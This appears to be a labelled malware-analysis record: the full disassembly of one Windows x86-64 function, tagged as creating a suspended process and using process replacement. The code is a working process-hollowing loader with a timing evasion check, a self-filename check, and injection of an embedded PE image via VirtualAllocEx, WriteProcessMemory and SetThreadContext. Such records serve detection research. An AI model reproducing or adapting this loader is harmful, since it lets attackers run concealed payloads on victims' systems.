Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x230], rax
movaps xmmword [rsp + 0x340], xmm6
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movd xmm6, eax
cvtdq2pd xmm6, xmm6
divsd xmm6, qword [0x1400033d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movsd xmm1, qword [0x1400033c8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x1400033d0]
subsd xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x340]
subsd xmm1, xmm0
xorps xmm0, xmm0
comisd xmm1, xmm0
jbe 0x14000125a
mulsd xmm1, qword [0x1400033d0]
cvttsd2si rcx, xmm1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r12d, r12d
mov qword [rbp - 0x80], 0xf
mov rsi, 0xffffffffffffffff
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x120]
mov r8, rsi
inc r8
cmp byte [rax + r8], r12b
jne 0x140001295
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x68]
call fcn.140001640
mov r15, qword [rbp - 0x80]
lea rbx, [rsp + 0x68]
mov r14, qword [rsp + 0x68]
cmp r15, 0x10
mov rdi, qword [rsp + 0x78]
cmovae rbx, r14
test rdi, rdi
je 0x140001338
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400033a0]
lea rdx, [0x1400033a2]
nop
movzx eax, byte [rcx]
inc rcx
mov byte [rbp + rax + 0x20], 1
cmp rcx, rdx
jne 0x1400012f0
lea rax, [rdi - 1]
mov rcx, rsi
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x20], r12b
jne 0x140001333
nop dword [rax + rax]
cmp rcx, rbx
je 0x140001338
movzx eax, byte [rcx - 1]
dec rcx
cmp byte [rbp + rax + 0x20], r12b
je 0x140001320
sub rcx, rbx
jmp 0x14000133b
mov rcx, rsi
inc rcx
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
cmp rdi, rcx
jb 0x140001637
sub rdi, rcx
mov qword [rsp + 0x380], r13
cmp rdi, rsi
lea rdx, [rsp + 0x68]
cmovb rsi, rdi
cmp r15, 0x10
mov r8, rsi
cmovae rdx, r14
add rdx, rcx
lea rcx, [rbp - 0x78]
call fcn.140001640
mov r13, qword [rbp - 0x60]
lea rax, [rbp - 0x78]
mov rdi, qword [rbp - 0x78]
cmp r13, 0x10
cmovae rax, rdi
cmp qword [rbp - 0x68], 0xc
jne 0x140001590
movabs rcx, 0x7472746364767055
cmp qword [rax], rcx
jne 0x140001590
cmp dword [rax + 8], 0x6578652e
jne 0x140001590
movsxd rbx, dword [0x14000507c]
lea r15, [0x140005040]
xorps xmm1, xmm1
xor eax, eax
add rbx, r15
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
cmp dword [rbx], 0x4550
jne 0x140001590
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x120]
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001590
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001590
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x14000155d
xor edi, edi
mov r15d, edi
movsxd rcx, dword [0x14000507c]
lea rax, [0x140005040]
add rcx, r15
mov qword [rsp + 0x20], rdi
mov r8d, dword [rcx + rax + 0x11c]
mov edx, dword [rcx + rax + 0x114]
add r8, rax
mov r9d, dword [rcx + rax + 0x118]
add rdx, r14
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r12
add r15, 0x28
cmp r12, rax
jb 0x1400014e2
mov rdi, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
mov eax, dword [rbx + 0x28]
mov rdx, rsi
add rax, r14
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp r13, 0x10
jb 0x1400015c3
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400015bb
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400015f6
mov rcx, rdi
call fcn.14000182c
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140001602
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000182c
mov r13, qword [rsp + 0x380]
xor eax, eax
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.1400017d0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400017a0
int3